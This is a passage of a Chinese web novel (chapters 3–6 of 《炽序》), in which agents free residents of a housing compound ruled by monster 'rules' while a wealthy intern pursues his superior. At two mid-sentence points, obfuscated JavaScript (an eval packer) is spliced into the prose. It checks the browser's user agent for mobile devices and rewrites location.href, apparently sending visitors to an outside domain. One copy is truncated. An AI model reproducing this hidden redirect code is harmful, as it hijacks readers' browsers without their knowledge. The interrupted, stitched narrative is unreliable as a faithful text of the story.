《炽序》 3. 桃李小区3 叶皎月发起线上会议,及时中断了易大少爷这种明晃晃的骚扰行为。与此同时,庄宁屿的电脑通知栏也弹出一条消息,上级任命他为这次规则破除行动的临时副队长。其余队员对此并无异议,毕竟庄宁屿原本也是秩序维护部出身,进化程度S,参加过许多次破除任务,经验丰富,后来是因为腿部手术需要长期休养,才被暂时调到了离家近的第十五区纠纷调解部。 叶皎月问:“宁屿,你对这次的行动有什么想法?” “信息缺失型规则。”庄宁屿戴好耳机,“只根据现有的文字信息,无法推出完整内在逻辑链。”而没有逻辑链,也就无法快速找出破除规则的方法,不过第一条规则应该是可利用的,他继续说:“155路社区公交只停靠两站,起点在春风超市对面,每天十点准时发第一班车,终点站是地铁五号线桃李路站D口。” 这个地铁站点并没有被规则占领,那么按照正常逻辑,只要乘客符合规则要求,这辆车就能正常运行,驶向终点站,离开规则区。 叶皎月也同意这个看法,所以她在下午的时候,已经提前找好了一对自愿帮忙测试规则的母女,是1栋101的住户。母亲四十二岁,武术教师,女儿十六岁,从小学习散打,体格强壮反应灵敏。她们会在明早十点准时等在公交站,看能否顺利借助155路离开。 “第二、三、四条规则,看起来像是一份招待客人的注意事项。”庄宁屿接着说,“怪物所扮演的客人角色,极其厌恶噪音,哪怕只是小孩一两声哭闹也无法忍受,缺乏耐心,甚至连开门的时间都不愿等待,喜欢干净的环境,但本身并没有良好的卫生习惯,不懂礼貌,素质低下,此外,他看起来好像非常疲惫和饥饿。” 第五条规则经过今晚的突发状况检验,也是有用的,发怒的怪物的确能被一碗泡面安抚。至于规则六、七,春风超市和菜市场明天应该会准时营业。 “最后一条,远离露台。”叶皎月点名,“易恪,说说看。” 新人第一天参与行动,被领导提问算是情理之中,大家都在等,耳机里却迟迟没有传来回答。 庄宁屿转过头,微微皱眉扫了一眼,本意是想提醒对方适可而止,但事实证明他还是低估了易恪旺盛的外露欲,在这种时候冷不丁撞进一片炽热眼神,庄宁屿差点没当场心梗。罪魁祸首反倒笑出声,单手撑住腮帮子,继续毫无忌惮地把目光粘在他身上,看够了才开口:“按照正常逻辑,只有危险才需要远离,既然规则特别标明,那就说明露台是危险的。露台的危险一般分两类,一是藏匿有不法分子,二是不小心失足。” “不错。”叶皎月简短地表扬了一下,又疑惑地问,“你刚才在做什么?” “收了几条短信,今天是我生日,不好意思。”易恪懒懒靠回沙发。 鉴于目前的会议气氛还算轻松,群里立刻飘过一大片生日快乐,连叶皎月也跟了一句。只有庄宁屿不想加入这场祝福大会,强行把话题拐回来:“还有一点,在这次的规则里,并没有提到规则币的赚取方法,但无论是食材还是车票,都需要用现金购买。怪物身上有钱包,我们趁他洗澡时取出过一百块,虽然成功了,但也成功激怒了他,可见这次的怪物无法容忍任何盗窃行为,考虑到还有数百群众被困在规则内,我的建议是想个别的办法赚钱。” 易恪斜靠在沙发上,听到他这句话,唇角稍微抿了抿,眼底也染上一点若有所思。庄宁屿继续说:“大家可以先各自想一想,不过不用急于一时,我们最先要做的还是验证155路车的规则可行性,尽可能疏散群众,我想说的只有这些,叶队?” 耳机里传来叶皎月的声音:“好,那今天的就到此为止,大家早点休息,巡逻组注意交接时间,所有人时刻保持警惕,散会。” 庄宁屿合上电脑,伸手接住对面抛来的无糖润喉含片,易恪指了指自己的嗓子:“你声音有点哑,要喝水吗?” “我希望你以后能端正一下工作态度。”庄宁屿把糖扔回去,“否则应该很难通过实习期。” 易恪挑眉,大概是看出对方是真在生气,难得没有继续作妖。 “去书房休息吧。”庄宁屿拿过手机,去阳台接电话。来电显示霍霆,他是锦城秩序维护部总部长,也是庄宁屿的好朋友,上来就问:“怎么样?” “什么怎么样,按照规定,不应该是我做工作汇报。”庄宁屿伸出两根手指,按住喉结下方的凹陷,把咳嗽强行压下去。 “我是说姓易那小子怎么样,有没有再骚扰你?”霍霆问。 “有,但是没办法,我暂时还没有想好要怎么向易总描述他儿子对我的非分之想。”庄宁屿呼吸了几口夜间潮湿的空气,稍微缓解了咽喉不适,他不想理会听筒里的缺德闷笑,继续说,“这是易恪第一次参与规则破除任务,表现有些毛躁,我认为他并不具备单独行动的能力。” “但他的进化程度无限接近S,各项测试都能高分通过,按理来说有很大的进步空间。”霍霆说,“退一万步讲,就算他的进化只到C级,看在易总刚给苍山地区捐了三座医院的份上,也辛苦你多带带,至少坚持到这次任务结束。” 庄宁屿有些头疼,霍霆听出他声音里的疲惫,也没再多说。锦城的夜晚霓虹闪烁,通常是看不到星星的,但规则区除外,黑洞一般的夜晚能吞噬所有现代文明的光,只在天幕洒满闪烁的星。庄宁屿并不喜欢这种虚假而又诡异的美丽,挂断电话就转身回到客厅,发现桌上放着两颗润喉糖和一杯温水,还有一个小型洗漱包。 书房里十分安静,看起来这应该是大少爷今天献的最后一份殷勤。庄宁屿草草洗漱完后,和衣躺上沙发,主卧里的呼噜一声高过一声,哪怕是站在“客人”的角度,这次的怪物也实在有些荒谬,毕竟哪个有正常脑子的客人会上来就睡主人的床? S级的进化者只需要很少的睡眠,尤其是在这种被规则笼罩的夜里。后半夜时,天空淅淅沥沥下起了雨,钻进窗户的冷风被空调吹出更多寒意,受过伤的腿骨又泛上熟悉的酸疼,庄宁屿刚想屈起腿缓解片刻,膝盖处却忽然传来一阵微烫触感。 放在三更半夜,这突如其来的温暖堪比恐怖故事。庄宁屿猛地睁开眼睛,就见易恪正蹲在沙发前,仔细往自己膝盖上敷着一个发热贴,碎发垂下他的额头,掩住大半眼眸,帅哥是真的,关心是真的,但庄宁屿此刻心里混杂着浓浓无语的震惊也是真的。这堪比金牌家政的诡异服务暂且不论,对方究竟是怎么做到能悄无声息出现在自己身边的? “睡吧。”易恪没有多说话,处理好他的旧伤后,就潇洒转身回了书房,留下庄宁屿独自躺在沙发上怀疑人生。 荆澜:怎么样? 易恪:完美。 他回复完消息,又抬头看向客厅,想再欣赏一下自己的杰作,结果却见庄宁屿已经一把揭下了左膝上的发热贴,紧接着又在某人哗啦心碎之前,换到了右边膝盖上。 荆澜:有多完美? 易恪:…… 闭嘴吧你。 怪物倒是很消停,安稳好眠一整晚。清晨六点半,庄宁屿准时拉开冰箱准备早餐,易恪站在窗边,选择性遗忘了自己昨晚疗错伤的事。 “滴滴,滴滴!”主卧里忽然传来一阵声响。易恪费解:“这玩意竟然还给自己上了个闹钟?” 其余队员也跟着感叹,打工怪打工魂,真是好标准的朝九晚五。 庄宁屿煎好鸡蛋装进餐盘:“的确,怪物的作息完全就是一个上班族。”八点半下班回家,七点半闹钟起床,两点一线,作息健康。 “那他在公司应该混得不怎么样,否则不至于这么怨念冲天。”易恪把餐椅摆好,张辉也出来帮忙打下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084831|163558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,大家很快就准备好了一桌早餐。七点半,怪物推开主卧的门,他穿着已经洗干净的衣服,照旧无视所有人的存在,径直坐在桌边,极其不讲究地吃完了一整桌饭。 “晚上想吃什么?”庄宁屿试探着问。 “随便。”怪物丢下冷硬的两个字,穿好皮鞋离开了家。 直到电梯开门又关门,众人紧绷着的神经才松了下来,张辉心有余悸地问:“他晚上还会再来吗?” “不一定,不过我们会想办法,让你的家人尽快离开规则区。”庄宁屿说,“从现在开始,到二十点三十分,这段时间应该是安全的,可能要辛苦你清点一下家里的食材和清洁用品,列好明细交给我,注意远离天台。” “好。”张辉点头,“我们会尽快弄好。” “走吧,我们去菜市场看看。”庄宁屿叫上其余几名队员,“现在应该正是早市时间。” 怪物每天都需要进食大量食物,普通家庭的冰箱存货坚持不了太久,昨晚秩序部已经尝试过从外界往规则区内运送食材,结果发现并不能成功。 那就只能从早市购买。 小区不大,便民市场的规模也很小,不过货物种类倒是很齐全,蔬菜肉类海鲜干货都不缺。整个市场弥漫着一股难闻的腥臭味,红色灯光看起来有些诡异,摊主也是怪物,他们僵直地坐在小板凳上,用或精明、或犯困的眼神注视着每一位前来采买的顾客。 小白菜五块一把,猪肉三十一斤,不算贵也不算便宜。春风超市所售的商品价格同样在正常范围内,一盒泡面促销价在五块左右。 目前各家各户多少都有点囤货,所以庄宁屿只买了一把便宜青菜,用来把那张百元大钞破开,方便等会做公交规则测试。 叶皎月找来的志愿者是101的住户,母亲和女儿都习武,其中女儿还是进化者,十六岁已经长到一米八,一拳能干爆沙袋。父亲是一名派出所民警,叫宋然,和钱越私下很熟,之前两人曾经一起安抚过被推销员坑害的张阿姨。 “别怕宝贝,你能做好。”宋然拍拍女儿的肩膀,又和妻子拥抱了一下。十点钟,公交车准时从站点里开了出来,停在了站牌旁,不出意外的,司机也是怪物。 母女两先后上车,把规则币投进箱子,又找了座位坐下。车门旋即关闭,白雾从车厢底部蒸腾升起,阻隔了大部分视线。车辆重新开始行驶,窗外霎时混沌一片,只有极偶尔掠过的树影。 女孩看了眼手机时间,按照正常行驶路线,这辆车应该在半小时后抵达。 一分钟、两分钟……十分钟……十四分钟……二十九分钟…… “叮咚,155路社区公交终点站……嘶嘶……桃李路地铁站到了……嘶嘶……请您带好所有随身物品,从后门有序下车……嘶嘶……祝您出行愉快。” 被电流扰乱的播报声准时响起。母女两人没有丝毫犹豫,迅速起身从后门下车。在双脚踩上地面的一刹那,浓厚白雾瞬间消散,大片阳光洒金倾泻,刺得人眼睛发虚。 “快,这边!”一直守在地铁D口的工作人员小跑着迎上来。 借助155路离开桃李小区是可行的,但乘客的身份按照规则,只能是母亲和她未成年的孩子。 “人口统计完了吗?” “稍等叶队,马上。”队员把统计结果更新上传,“小区内有未成年人的家庭一共三十六户,不过幸亏最近暑假,又加上高温天气,有一大半都在外地旅游,留在家里的一共只有十三户,有三位母亲目前身处规则区外,她们会马上进小区接孩子离开,最后总人数三十七。 三十七名乘客,就需要三十七张车票,需要七十四块规则币。庄宁屿把钱包递过来:“我们目前还剩八十六,足够买票。” 叶皎月说:“我们得尽快把所有母子分好组,先送这批人离开。” 4. 桃李小区4 乘客分组并不是难事,难的是当中有几个孩子年龄实在太小,小到完全不能控制情绪,稍有不顺心就会扯起嗓子扮演活体唢呐,声动全小区。昨晚的怪物只是因为一声短暂啼哭,就怒目圆睁当场狂躁症发作,万一司机和他病出同门,那这趟公交车无疑会变成危险最中心。 “童童说公交车上非常寒冷压抑,白雾弥漫。”宋然警官也说,“如果是太小的孩子,的确容易被吓到。” “不然让这部分孩子继续留在小区内?”钱越提议,“至少工作人员还能为他们提供保护。” “留在小区当然是一种选择,不过既然规则允许,那最好还是能把他们安全送进现实世界。”叶皎月思考片刻,“危险来自于噪音,可如果公交司机和‘客人’不同,并不会被噪音激怒呢?” 毕竟在第二条规则里,是说每晚八点半之后,所有人都应该待在家里,避免发出噪音,当中并没有提到白天的情况。而且在今天早上,也有队员分别在菜市场和春风超市进行了扯开嗓门的砍价活动,虽然并没有成功砍下来一毛钱,还遭遇了怪物摊主的白眼,但并没有遭遇攻击。 易恪提议:“我可以先去车上试试。” 会议室所有人都扭头看向他,扎着马尾辫的女生提醒:“但是小易,你既不是母亲,也没有未成年孩子,压根不算乘客。” “只要有钱,想坐车,我就是乘客,只不过不是这家交通公司愿意服务的乘客。”易恪纠正她,“上错车而已,大不了被司机赶下来。或者退一步说,假如这种行为真的激怒了他,正好能顺便检测激怒怪物的后果。由我来验证这一切,总好过直接让孩子去面对。” 叶皎月也同意他的看法。这次的行动关乎未成年人,不管多小心都不为过,于是她点名:“书杰,下一趟车由你上,就按照小易的计划走一遍。” “我?”被点名的队员有些意外,易恪也问:“为什么不是我去?” 其余人一起看队长,对啊,这方案是易恪提出来的,为什么不直接让他去?虽然从理论上来说,小易还没过实习期,但他考核成绩全优秀,面对模拟怪物能一打十,还有顶级自愈能力,综合下来,完全没有不能去的理由。 叶皎月没有立刻回答,而是把目光投向庄宁屿,但后者这次明显没能及时意会,整个人显得非常清澈茫然,毫无智慧可言。两位队长就这么大眼瞪小眼瞪了半天,最后还是易恪先沉声开口:“是不是我妈又在背后搞什么小动作?” “和你的家人没关系。”叶皎月一口否认。眼见部分队员已经面露疑惑,在“易家被误会为儿子动用特权”和“实话实说让大少爷丢点人但大家都能保住宝贵清白”之间,那还是后者吧。她从抽屉里摸出一张纸:“这是今早部里发来的新人评级表,抱歉,目前你暂时不具备单人出任务的能力。” 易恪脸色沉下来:“谁评的?” 庄宁屿:“……” 终于反应过来的罪魁祸首如同被人打了一闷棍,半天没酝酿好语言。实不相瞒,这话虽然是他说的,也的确是站在客观立场所做出的评价,但万万没想到霍霆居然能正式到连夜发一封文件下来,这又不是什么至关重要的紧急情报,他就不能口头向行动组简单传达一下意见吗? “其余人跟我来。”叶皎月不想替庄宁屿背这一锅,大难临头火速飞,带着队员起身离开,出门前不忘拍拍易恪的肩膀,“小易,别着急,再跟着你庄哥多学习学习,他有经验。” 庄宁屿原本认为自己对生活充满蓬勃热爱,但不可否认,最近这段时间他的确时不时就会开始思考,人到底为什么要活着,比如说眼下这种情况,是不是不活也行。 易恪拉过一把椅子坐在他对面,拖拽声回响在空荡荡的会议室里,有些刺耳:“这就是你给我的总结?” “根据昨晚的临场反应,你的确不具备单人行动的能力。”庄宁屿站在上级立场,绝对公事公办地回答,“大部分实习生都有这个问题,经验要靠时间来累积,走吧,先去公交站看看。” 说完,他站起身,想尽快离开这是非之地,却被易恪一把握住了手腕,哪怕隔着衬衫袖口,一样能清楚觉察出那一小块皮肤传来的烫意。考虑到对方目前对自己抱有的错误期待,这一点接触说成是职场性|骚扰也不是不行,不过还没等庄宁屿做出反应,易恪已经松开手,重新慵懒靠回椅背:“算了。” 庄宁屿不解:“什么算了?” “有你陪我一起上公交车,就不算单人行动。”易恪说,“不过想起你的腿伤还没完全好,所以,算了。”他上半身稍稍往前倾了倾,掌心理所当然拖过对方膝弯,又抬起头问:“还疼吗?” 整套动作行云流水,真是好一场蓄谋已久的撒娇。庄宁屿万万没料到事情会是这个走向,面对这突如其来的款款深情,他觉得自己又有些被雷劈中后呼吸困难感,只好绝望而冷酷地说:“松手,我带你去执行任务。”找点事情做,免得你脑子里一天到晚都是这种不该有的黄|色念头。 易恪目的达成,心情很好,轻松惬意跟在庄宁屿身后,看起来已经迅速从自己的幼儿园评级里恢复过来。 下一趟公交车即将出站,这一次的乘客只有两个人。在他们投完币后,怪物司机果然缓缓转过头,含混不清地说:“对不起,本车辆只接待母亲和她的未成年孩子,请立刻下车。” 易恪一屁股坐在老弱病残专用座上:“下什么车,我买票了,为什么不能坐?” “公司规定,请您配合。”怪物态度坚决。 易恪听而不闻,把手机音量放到最大开始刷低质小视频。庄宁屿站在怪物旁边,提醒他:“不按时打卡出站,你们会被扣当月奖金吧?” 怪物恨恨地瞪了他一眼,最后还是不甘不愿地按下了关门键。车辆再度驶进漫天大雾中,现场众人面面相觑,真能开走? 叶皎月摇头:“不大可能。” 果然,一个小时后,车辆又从白雾里开了出来。车门打开,易恪先一步跳下车,庄宁屿跟在他身后,看起来神情恍惚,脚步也比较虚浮。 “庄哥!”钱越赶紧跑上前,还以为他遭受了精神污染,于是赶紧看了眼手环,就见精神污染指数依旧是零。庄宁屿摆摆手,他确实被污染了,但是和怪物没关系,只是被迫听了一路易恪的精选噪音集合,到现在耳边依旧是铺天盖地的鬼哭狼嚎,中间还夹带私货混进去一串情歌,听起来每一句歌词都意有所指,对心里有鬼的人来说,堪称顶级精神折磨。 “怪物对噪音没有过激反应。”易恪简短向叶皎月汇报,“他表现得就像是一个正常的公交司机,会皱眉,会抱怨,会不耐烦,但不会殴打乘客,如果我们是规则内的未成年母子,现在应该已经顺利下了车。” “这一路什么都没发生?” “没有,也没有任何停靠,车辆只是不停地在白雾中行驶着,然后我们就再次回到了这里。” 规则之外的乘客是无法借助155路社区公交离开的,这种结果并不意外。在确认怪物司机并不会被噪音激怒后,叶皎月按计划,分两批送走了小区内的所有合规乘客。 庄宁屿问:“目前还剩多少人?” “一百零九。”钱越翻着资料回答,“小区常住人口共三百五十六人,暑假游学走了一批小孩,夕阳红旅行团又走了一批退休教师,加上刚刚离开的三十多名母子,目前整个小区一共剩余五十名老人,四十二名成年男性,和十七名成年女性。” “把剩余的居民分成三十户,安排他们住进同一栋楼,尽量让每一户人家都有我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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要不是看在易国东的面子上,庄宁屿觉得自己很有可能已经向有关部门投诉了八百次,怎么动不动就要来一句表白,这工作环境真的堪比红灯区。炒面并不难吃,甚至还有一点他所钟爱的,在炒面届里不太常见的,咸咸甜甜的沙沙蛋黄口味。这一次依旧没有等到庄宁屿开口问,易恪继续说:“特意问了钱越。” “……” 小钱浑然不觉自己目前已经成为了和平年代的叛徒,还在和吴桃汇报,有钱人做事果然不一般,都这种时候了,还惦记着要维护好和庄哥的上下级关系,问我他喜欢吃饭还是面,但不知道为什么,我总觉得小易好像非常觊觎我的工作。你说有没有这么一种可能,在我嫉妒他的时候,他其实也在嫉妒我? 吴桃毫不留情地戳破,清醒一点,你这工作什么好觊觎的,天天事儿婆一样到处劝架。 空气中的湿冷越发浓厚,覆在皮肤上,像某种看不见的细鳞蛇。庄宁屿此刻甚至有点怀念之前那条那人来人往的地铁通道,虽然闷热嘈杂,没有空调,但至少充满了鲜活的生命力。 队员们已经各自回了休息区,准备参加线上会议,易恪泡好两杯茶端到客厅,庄宁屿没有给他发展暧昧的机会,单刀直入问工作:“你有什么想法吗?关于赚取规则币。” 易恪摇头:“没有。” 庄宁屿却说:“你有。”他虽然并不是一个微表情分析师,但就昨晚易恪在听到“赚钱”时的反应来看,不像毫无想法,而且身为易家的儿子,多少也该继承一点这方面的基因,不然岂不是浪费了易国东那张天天出现在财经频道的权威脸。易恪果然没有再否认,而是笑了一声,反问他:“那你想让我赚多少?” 考虑到对方在说这句话时,脸差不多已经架到了自己肩头,庄宁屿觉得有必要加进去一些精神损失费,于是把原定金额从两千稍微往上一提:“五万。” “好,那就五万。”易恪答应,“三天,我保证给你赚回来。” 5. 桃李小区5 这句话其实有些宾语错误,毕竟易恪在这次行动里能赚十块也好,能赚十万也好,最终获益者都是桃李小区居民,和庄宁屿个人关系不大。但现在暂时不纠结这个也行,因为如果真的能有五万规则币入账,那按照目前的菜价来看,足够应付所有居民加怪物很长一段时间的日常开支。 庄宁屿选择相信易恪的赚钱能力,但同时不忘提醒:“如果你想靠暴力手段硬抢,成功的可能性应该不高,而且规则也不允许你把那辆宾利打折出售给怪物。” “我发现你是真的不会替我心疼钱。”易恪对他表示钦佩,“为了十万虚拟规则币,就要我把货真价实的新车抵出去。” 现在还不到山穷水尽的时候,况且大少爷只是钱多,人又不傻,看起来也没有拿资产打水漂的霸道爱好。他抱着电脑靠在沙发上,依然穿着不合身的生日T恤,洗过一水之后,布料变得越发柔软贴身,和暖黄灯光一起,勾勒包裹住了那些起伏的肌肉轮廓。 庄宁屿不知道为什么专卖店里正义凛然的纯色T恤,到他身上就变得如此欲拒还迎纸醉金迷,但好在线上会议已经开始,耳机里是叶皎月的声音:“诸位,今晚有没有什么异常?” “在怪物回家之后,天气似乎变得更冷了。”有队员迟疑,“是我的错觉吗?” “不是错觉。”叶皎月说,“根据监测结果,今晚的气温的确要比昨天更低,但在规则之外,整个锦城又仍旧处于持续高温状态,所以桃李小区的温度波动应该就是和怪物有关。至于这种波动是否具有持续性,仍需要再多观察几天。” “还有,他似乎比昨天要更加暴躁。”另一名队员补充,“像是一个会移动的炸药桶。”这点从怪物敲门的手法就能看出来,当时巨大的“砰砰”声响彻在楼道里,堪称三百六十度环绕惊雷,吓得隔壁一位老太太险些昏厥。 更冷的天气,更恶劣的性格,除此之外,暂时没发现更多异常。 至于要怎么赚取规则币,众人的提议也是五花八门,但鉴于大家在这方面的经验都相当不足,因此绝大多数建议都集中在找一个钱包最厚的怪物直接放倒他,至于会不会变异,那也要先放倒再说,万一变异后的钱更多呢,如潮水般涌出,这谁能说得准。 无视规则直接抢钱这种事,叶皎月在之前的行动里并不是没干过,但抢完的后果……属实有点不堪回首。她问:“有没有稍微带点智慧含量的提议?” 线上会议室陷入一片沉默,半天才有人回复,如果不能明着抢,那我们每天想办法偷一百,也不是不行。 叶皎月发来一串振聋发聩的问号。 庄宁屿看了一眼易恪:“你不发表一下意见?” “对啊易哥,这属于你的独占领域。”耳机里顿时传来一片马屁声,也不知道队员是真的相信易恪,还是庆幸自己终于可以不再贡献本来就没多少的赚钱智慧,“能不能教教我们?” 易恪说:“你们可以主动问他要。” 叶皎月迟疑:“直接要,他会愿意给吗?” “已知目前小区一共出现了四类怪物,分别是客人、菜市场摊主、超市店主和公交车司机,后三类经过我们验证,他们的行为大致符合基本逻辑。”易恪说,“唯一例外的,只有‘客人’。” 粗鲁,野蛮,不讲卫生,不允许房间里的人发出任何噪音,理所应当接受服务,随时随地施展暴力,堂而皇之占据主卧,以及非常准时的早出晚归。当中任何一种行为套在“客人”身上都是极度不和谐的,但“主人”却可以。 易恪继续说:“要是把怪物放在‘主人’的位置上,那整件事就会变得合理许多,或者说得更具体一点,他更像是一个有着严重性格缺陷的暴力男。工作应该很辛苦,否则不会每一天都灰头土脸地回来,而我们扮演的角色,应该就是‘主人’的‘法定伴侣’,不仅负责家务,还得承受家暴。” 叶皎月立刻给总部发了一封邮件,让他们把对桃李小区的调查重点放在此类案件上,看能否找出规则背后的故事。 “这么一说,好像的确更加符合逻辑。”钱越打开新思路,“假定他是丈夫,那我们作为没有经济收入的妻子,当然可以问他要点生活费。” “最好不要狮子大开口。”叶皎月提醒,“结合当前物价,我建议你们先从三百开始。” 线上会议很快结束。易恪活动了一下坐到酸痛的筋骨,又看了眼窗台上的温度计,二十摄氏度,不像盛夏,更像是锦城秋天的夜。 “这就是你的计划?”庄宁屿问。 易恪一边往卧室走,一边问:“不合理吗?” “合理。”等他从卧室出来,庄宁屿才继续说,“关于‘主人’和‘客人’的角色,我完全赞同你的观点,但这个怪物看起来属实不像是能慷慨掏出五万生活费的样子。” 易恪抖开手里的毯子,蹲下盖在他的膝盖上:“急什么,还不到三天,明天你先按照叶队的计划来,剩下的全部交给我。” 毛毯材质轻薄柔软,很新,不像是1601业主留下的东西。由此来看大少爷那辆宾利是真的没有白开,运力堪比中型货拉拉,时不时就能从行李箱里摸出来一点殷勤。庄宁屿懒得多问,抬手把人打发回卧室,眼不见为净。 但毯子是很管用的,具体表现在这一夜虽然也下了雨,却没有熟悉的疼再钻进膝盖。 翌日清晨,怪物照样坐在餐桌边狼吞虎咽地进食。各种杯盘碰撞出叮叮当当的声音,最后一杯豆浆被他灌进去之后,怪物站起来,粗鲁地用衣袖擦了擦嘴,拿着公文包就准备离开。 “请等一下。”庄宁屿叫住他。 怪物停下脚步,缓慢地转过身,两只浑浊的眼睛和他对视,身为“丈夫”,眼神中看起来并没有爱意,甚至都没有善意。 庄宁屿站在餐桌边,一边收拾杯盘一边随意地问:“晚上你想吃什么?” 怪物思索片刻,然后说:“牛肉面。” “好。”庄宁屿点头,又说,“但牛肉最近涨价了,我的钱可能不够,能再给一点吗?” 听到这句话,怪物的神情肉眼可见地不耐烦起来,他往前挪动几步,胸口险些要撞上庄宁屿的脸,左手也直直伸进裤兜。易恪站在客厅另一头,手里紧紧握着激光枪,红色小点随着怪物的手臂一起移动,直至最后消失——威胁基本解除,因为对方并没有掏出武器,而是从钱包里抽出几张规则币,用力丢在了餐桌上。 “砰”! 怪物离开房间,厚重的防盗门被他撞得险些脱离墙壁。庄宁屿从桌上把钱一张一张地捡起来,一共两百六十三,手心朝上的日子确实不好过,这么大费周章,也就能买几斤牛肉。 小钱同志远程嫌弃道:“他一顿要吃八张鸡蛋饼,两桶豆浆,怎么好意思只掏这么点钱的,老大,明天你还能接着要钱吗?。” “能,不过我大概率会因此挨揍,性价比不算高。”庄宁屿问,“你家里的几位老人怎么样?” “他们目前正在跟着我一起骂这小气怪物。”钱越说,“声如洪钟,词不重样,精神攻击拉满。” 叶皎月转发给庄宁屿一封文件。经过调查,目前暂时没有找到桃李小区有关于家暴案的记录。但没有记录不代表没有发生,毕竟有相当一部分受害者在遭遇来自丈夫的暴力后,大概率会选择忍气吞声。 下午的会议室里愁云惨雾,叶皎月开玩笑:“怎么,大家,要到钱了还这么不开心?” “要是要到了,但他早上看起来恨不能生吞了庄队,为两百多块就能吹胡子瞪眼,甚至还故意把钱丢进残羹剩饭里,这也太憋屈了。”一名队员说,“怪物的付出和小区物价完全不匹配,但看他的反应,短期内显然又不会愿意继续掏钱。嘶,掌心朝上的日子不好过。” “至少证明小易的思路是对的。”叶皎月说,“怪物愿意给生活费,他的确是‘主人’。” 性格暴戾的丈夫,没有经济来源的妻子。庄宁屿看着屏幕上的规则:“结合第一条规则,母亲可以带着孩子乘坐155路公交车离开。假定我们所有人现在扮演的都是‘妻子’的角色,那只要能找到一个‘孩子’,是不是就能离开规则区?” “可孩子要去哪里找?”钱越皱眉,“之前离开的都是亲生母子,我们随便领一个孩子,能行吗?” “可以让童童再回一次规则区试试。”宋警官站起来。他负责管理协调社区内所有志愿者,算是这次行动的编外成员,“她一直都想加入秩序维护部,我和妻子也很支持她的梦想。” 叶皎月把这件事报给上级,很快就得到审批。晚些时候,母女两人重新回到了规则区,时间刚好能赶上新发车的社区公交。这一次,叶皎月亲自带着宋童童登上公交车,司机抗议未遂,最后只能骂骂咧咧踩下油门 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下一个清晨,在吃过早餐后,一名队员按照计划,又开口问怪物要了一次生活费,这种行为果然大大激怒了对方,他怒吼着举起拳头挥下来,幸亏这位“妻子”有着进化后能在全队排第一的超强体质,并且还懂得及时躺在餐桌下装死,才勉强逃过一劫。等怪物离开后,队员在群里大倒苦水,这辈子就没出过这种窝囊的倒霉任务。 庄宁屿问身边的人:“你的五万呢?” 易恪一边发消息一边答:“明天才是第三天。” 他并没有遮挡手机屏幕,而聊天界面上明显是个女生头像,绿色框飞速滚动,不管从哪个角度切入观察都很像热恋情侣。庄宁屿暗想难道自己的苦日子就要过到头,稍微侧头又一瞥,易恪却像是觉察到他的动作,忽然整个人软绵绵贴了过来。 庄宁屿早有防备,闪躲速度得堪比见鬼。易恪倒是没被打击到,换了个姿势继续靠在沙发上发消息,也不知道在忙些什么。庄宁屿没再理会此人,自己带了几名队员去做小区例行巡查。 春风超市门口的空地上,十几名嬢嬢正在跳广场舞,她们无视冷飕飕的空气,依旧锻炼得热火朝天,收银台的怪物趴在桌子上,伴随着音乐声昏昏欲睡,画面看起来竟然还有那么一点诡异的和谐。 庄宁屿拨通钱越的电话,问他:“人呢,怎么还不下来?” “老大,我在503。”钱越报告,“和小易一起开个会,他没跟你说?” 庄宁屿对自己的听力产生些许怀疑:“你和谁?” 503会议的与会人员有易恪,钱越,钟沐,宋然警官,外带张叔叔和张阿姨。钟沐就是第一天负责接待实习生的马尾辫女生,她的进化程度很高,曾经三次获得过秩序维护部优秀队员。钱越敏锐觉察出庄宁屿对这场会议并不知情,于是立刻摆正自己的位置,语调宛如情报工作者:“那老大,现在我是听你的还是听小易的?” “先说说看,你们在开什么会?”庄宁屿问。 “保密。”电话另一头传来易恪的声音,“你要是感兴趣,可以亲自来听。” 钱越扯着嗓子嗷嗷叫:“还我手机!老大!他抢的!我没有叛变组织!” 易恪笑了一声,继续问:“来吗?我可以等你。” 庄宁屿实在受不了从听筒里传来的轻声低语,这是什么午夜电台腔,大家一样出来工作,没道理一直让自己独自受这暧昧的罪,于是他一个电话打给叶皎月,试图祸水东引,结果队长对此毫不在意,因为易恪虽然是实习生,但钟沐有高级行动权限,有她带新人,符合规定,完全没问题。 而且相比起担心易恪和钟沐,叶皎月明显更担心庄宁屿,因为她觉得后者最近似乎有点焦虑,遂贴心询问:“要不要帮你约一下心理辅导的老乔?” 庄宁屿万没想到自己的精神状态会被连坐,深感告状也是一门艺术,但他又不太方便告诉叶皎月,易恪虽然成绩全优,但最近情况特殊,正在色令智昏,很有可能做出错误决策,再顺便带偏钟沐。斟酌再三,他最终还是决定继续扛下这一切,于是把巡查任务交给队员,自己转身重新回到503。 易恪说:“我们刚开完会。” 庄宁屿拖过椅子:“再汇报一次。” “老大,你放心,绝对精彩!”钱越摩拳擦掌,“明天我们一定干票大的!” 张阿姨和张叔叔也笑容满面,钟沐冲庄宁屿微微一点头,就连本来应该最沉稳可靠的宋然,此时也呈现出一种面色极度红润的舒心状态。 庄宁屿心情一言难尽,你们这是刚开了个传销会吧! 6. 桃李小区6 下午,十几名行动队员扛起扫帚拖把抵达15楼。这一层目前没有人住,角落里的1506房是小户型,原本一直在出租,后来因为主人出国,已经空置很久。防盗门一打开,裹满厚厚灰尘的蛛网到处乱飘,看起来和盘丝洞有一比,一群人花了将近两个小时,才算勉强清理干净。 楼里其余住户又贡献出一些摆件和挂饰,装饰好之后,虽然肯定经不起细究,但乍一看还真有几分过日子的温馨氛围。钱越把玄关柜里的衣服整理好,还专门给臂弯里的红大衣找了个醒目位置,转头问:“怎么样?” 